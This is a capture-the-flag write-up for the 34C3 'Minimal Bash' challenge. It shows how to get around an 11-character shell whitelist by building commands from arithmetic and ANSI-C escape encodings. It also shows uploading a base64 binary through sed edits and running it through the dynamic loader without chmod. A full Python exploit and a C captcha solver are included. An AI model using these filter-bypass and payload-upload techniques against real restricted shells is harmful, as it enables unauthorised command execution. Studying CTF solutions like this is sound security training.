+=============================================================+
| MINIMAL BASH - MAXIMAL FUN |
| |
| Who needs regular characters anyway? |
| |
| Supported characters: $ ( ) # ! { } < \ ' , |
| |
| Supported binaries: i'm sure there is some |
| |
| Iz also open-source: 'source' |
| |
+=============================================================+
In this challenge, we're supposed to get the flag using only commands consisting of the 11 white-listed characters shown above.
The source
command gives a bit more information about the environment
we're running in:
.---.
Source iz sumthing like dis: / . \
|\_/| |
| | /|
.----------------------------------------------------------------------' |
/ .-. |
| / \ |
| |\_. | [....] |
|\| | /| |
| `---' | /* these 11 chars should be more than enough */ |
| | re = regcomp(®ex, "[^${}!#()<'\\,]", 0); |
| | |
| | [....] |
| | |
| | if (REG_NOMATCH == regexec(®ex, input, 0, NULL, 0)) { |
| | |
| | [....] |
| | |
| | fclose(stdin); |
| | execl("/bin/bash", "/bin/bash", "-c", input, NULL); |
| | |
| | [....] |
| | } |
| | |
| | [....] |
| | /
| |-----------------------------------------------------------------'
\ |
\ /
`---'
Cross-checking the supported characters with the bash manual,
- We can access the special parameters
$#
(number of positional arguments in decimal) and$$
(pid of the shell) - We can get command substitution
$(cmd)
- We can get arithmetic expansion
$((expression))
- The
<
could be used for input redirection, but there is no obvious way to provide a filename. Same goes for the special$(< file)
to pipe the content of a file to the standard input. - Shell parameter expansion
${parameter}
and some of its various special cases, in particular downcasing${parameter,,pattern}
, leading substring deletion${parameter#word}
, parameter string length${#parameter}
and indirect expansion${!word}
- ANSI-C quoting
$'...'
- In retrospect, we missed the brace expansion syntax
{word,word,word}
, which would have made the second part of the challenge much easier. Luckily, it isn't strictly required.
Playing around with this, we can produce some basic expressions:
$#
is always0
$(($#))
is still0
$((!$#))
gets us a1
(!
is a logical not)$((!$#<<!$#))
gives2
(<<
is the rotate-left operator)- etc.
We can get all powers of two by chaining the rotate-left operator. With some
planning we could also get more numbers by using $$
instead of $#
, since we can
manipulate that to be any number we want. However, it turns out that 0, 1 and 2 are
all that we need, because we can just switch to binary with the syntax
$((base#number))
. With this, we can encode any number, e.g.
108 -> 0b1101100 -> `$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$((!$#))$((!$#))$(($#))$((!$#))$(($#))))`
However, generating numbers isn't really that useful in itself, what we actually want is a way to generate ASCII characters. Luckily, both single-quote and backslash are permitted, so we should be able to use the ANSI-C escaping feature
$'\154\163' -> ls
There's one problem, the arithmetic expansion is not evaluated inside the single quotes. So we need two evaluation passes, one to generate the ansi-escaped string and one to generate the command from that. Passing the result of the first evaluation to bash would do the trick.
${#} -> 0
${!#} -> bash
Nice: With ${!#}
we indirectly reference the special variable called #
to get to
$0
which holds the name of the current shell, i.e. bash
. Since we can't use spaces
to denote where the command ends and the argument start, we instead pass it as a
here-string using the <<<
syntax:
bash$ ${!#}<<<\$\'$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$((!$#))$((!$#))$(($#))$((!$#))$(($#))))\'
bin
boot
[...]
flag
get_flag
[...]
usr
var
That worked, we can see that we're currently in the root directory and there is a file called get_flag
in there
as well. We're finished here, let's just execute /get_flag
to get the flag:
bash$ ${!##}<<<\$\'\\$(($((!$#<<!$#))#$((!$#))$((!$#))$((!$#))$(($#))$(($#))$((!$#))))\\$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$((!$#))$(($#))$(($#))$((!$#))$((!$#))))\\$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$((!$#))$(($#))$(($#))$(($#))$((!$#))))\\$(($((!$#<<!$#))#$((!$#))$(($#))$((!$#))$(($#))$(($#))$((!$#))$(($#))$(($#))))\\$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$(($#))$((!$#))$(($#))$(($#))$((!$#))))\\$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$((!$#))$(($#))$(($#))$((!$#))$(($#))))\\$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$((!$#))$((!$#))$(($#))$((!$#))$(($#))))\\$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$(($#))$((!$#))$((!$#))$(($#))$((!$#))))\\$(($((!$#<<!$#))#$((!$#))$(($#))$(($#))$((!$#))$(($#))$(($#))$((!$#))$((!$#))))\'
Please solve this little captcha:
1459806305 + 1521201784 + 3028801422 + 270568894 + 1250150916
0
7530529321 != 0 :(
...damn. Ok, we need more. For a start, the ability to insert spaces would be nice, as our current string generation method kinda breaks it:
$ $'ls\40-l'
ls -l: command not found
An interesting observation is that command evaluation has higher priority than the here-string, so we can actually nest commands:
$ bash<<<$(bash<<<ls)
bash: line 1: bin: command not found
bash: line 2: boot: command not found
bash: line 3: cdrom: command not found
[...]
The immediate idea is now bash<<<$(cat<<<'ls -l')
, which would work nicely if we could just type out 'cat'.
The problem is that we can't, because we're missing one level of evaluation: The encoded "cat" is on the
left-hand side of the here-string, so it only gets evaluated once and the shell is looking for a command
called $'\143\141\164'
, which doesn't exist.
With some careful re-arranging, we can get around this. Instead of the naive solution above, we use the form
bash<<<\$\'encode("cat")\<\<\<encode("ls -l")\'
where encode(x) stands for the $((#...))-encoding of the string used above.
With this, we can finally get a look around the system. It's an Ubuntu 17.10 running in a docker container.
There's not too much in /usr/bin
, but we notably do have base64
, sed
and awk
.
Sadly, though, all commands that could be used to generate files are missing from the system, in particular
mkpipe
, mkfifo
, tee
etc.
Even sadder, the escaping above is not powerful enough to support i/o redirection, i.e. '|', '<' or '>',
which makes it really annoying to read the output of get_flag
and write back the result.
It would probably be possible to fix the encoding to get arbitrary bash commands, and to write a bash script that solves the captcha. However, at this point the end of the contest was only 90 minutes away, so we decided that we probably wouldn't finish in time if we attempted to do that, and that we should just try to complete the challenge with the tools we had. So, let's get dirty:
First, we made a simple C program that runs '/get_flag', solves the captcha, and writes the result to a
fixed file /tmp/c
. Luckily, the target environment is just ubuntu, so we can easily compile locally on
an ubuntu host and upload the finished binary unmodified. This program gets base64-encoded locally.
To write it to the remote system, we use the fact that all our commands in the same session are executed with the same filesystem, so modifications to files persist across commands within a session.
Since we still can't easily write to files, we abuse sed's inplace editing feature
by copying /etc/debian_version
to a temporary file /tmp/a
and replacing the known content with
a -
-marker using sed -i s,stretch/sid,-,
. Now we can iteratively build up the target file by
splitting it into small chunks and abusing sed again to append to the end of the file:
sed -i /tmp/a s,-,CHUNK-,
Applying base64
also turns out to be problematic, as it doesn't have a parameter to specify the
output file. However, we can use the same technique to create an extractor script /tmp/decoder
.
Since using spaces in the extractor script causes bash's token splitting to feed incorrect
arguments to sed, they are replaced by tabs:
sed -i s,stretch/sid,base64\t-d\t/tmp/a\t>/tmp/b, /tmp/decoder
(Again, in retrospect we could have coded the whole solution in bash and written it to a
file with the same technique, but we only realized at the very end that this step was
necessary at all because base64
doesnt have an option to specify the output filename)
One final problem is that we don't have chmod
on the system, so even after decoding
our prepared binary we cannot simply execute it. However, with one final trick we
are now at the end:
$ /lib64/ld-linux-x86-64.so.2 /tmp/b
$ cat /tmp/c
34C3_HAHAHA_you_bashed_it_You_truly_are_a_god_of_BASH
Flag captured, 14 minutes left on the clock :)
Complete solution, with some manual steps omitted:
#!/usr/bin/python3
import socket
import base64
bash = '${!##}'
herestring = "<<<"
zero = '$(($#))'
one = '$((!$#))'
two = '$((!$#<<!$#))'
BUFFER_SIZE=2048
def binary(number):
return "$(({:s}#{:b}))".format(two,number).replace('1',one).replace('0',zero)
def encode_char(char):
return '\\$\\\'\\\\' + binary(int(oct(ord(char))[2:])) + "\\\'"
def encode_string(s):
return "".join([encode_char(c) for c in s])
def encode_command(cmd):
return (bash + herestring + "\\$\\("
+ encode_string("cat") + "\\<\\<\\<"
+ encode_string(cmd) + "\\)")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('35.198.107.77', 1337))
data = open("solver_encoded").read()
SAFE_LINE_LENGTH=500
def execute(cmd):
print(cmd)
resp = ""
encoded_cmd = encode_command(cmd)
print(encoded_cmd)
s.send((encode_command(cmd) + "\n").encode())
while '>' not in resp:
resp = s.recv(BUFFER_SIZE).decode()
print(resp)
execute("cp /etc/debian_version /tmp/a")
execute("cp /etc/debian_version /tmp/decoder")
execute("sed -i s,stretch/sid,-, /tmp/a")
pos = 0
while pos < len(data):
line = data[pos:pos+SAFE_LINE_LENGTH]
pos += SAFE_LINE_LENGTH
cmd = "sed -i /-/{}/ /tmp/a".format(line)
execute(cmd)
execute("sed -i s,stretch/sid,base64\t-d\t/tmp/a\t>/tmp/b, /tmp/decoder")
execute("bash /tmp/decoder")
execute("/lib64/ld-linux-x86-64.so.2 /tmp/b")
execute("cat /tmp/c")
s.close()
And the solver:
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>
#include <string.h>
int main() {
fflush(stdout);
int ipipefds[2]; // [read end, write end]
pipe(ipipefds);
int opipefds[2];
pipe(opipefds);
pid_t pid = fork();
if (pid == -1) {
fprintf(stderr, "%s\n", strerror(errno));
return 1;
}
else if (pid == 0) { // child
if (-1 == dup2(ipipefds[0], fileno(stdin))) { perror("cannot redirect stdout"); return 255; }
if (-1 == dup2(opipefds[1], fileno(stdout))) { perror("cannot redirect stdout"); return 255; }
execl("/get_flag", "/get_flag", NULL);
} else { // parent
FILE* cread = fdopen(opipefds[0], "r");
FILE* cwrite = fdopen(ipipefds[1], "w");
FILE* output = fopen("/tmp/c", "w");
char io[256] = {0};
fgets(io, 255, cread); // line 1
printf("reading...(first line was: %s)\n", io);
fflush(stdout);
unsigned long long i1, i2, i3, i4, i5;
fgets(io, 255, cread); // line 1
sscanf(io, "%llu + %llu + %llu + %llu + %llu\n", &i1, &i2, &i3, &i4, &i5);
printf("%llu %llu", i1, i2);
fflush(stdout);
unsigned long long result = i1 + i2 + i3 + i4 + i5;
fprintf(cwrite, "%llu\n", result);
fflush(cwrite);
while (fgets(io, 256, cread) != NULL) {
fprintf(output, "%s\n", io);
printf("%s\n", io);
fflush(output);
fflush(stdout);
}
fclose(output);
int status;
waitpid(pid, &status, 0);
if (!WIFEXITED(status)) {
printf("abnormal exit\n");
}
}
}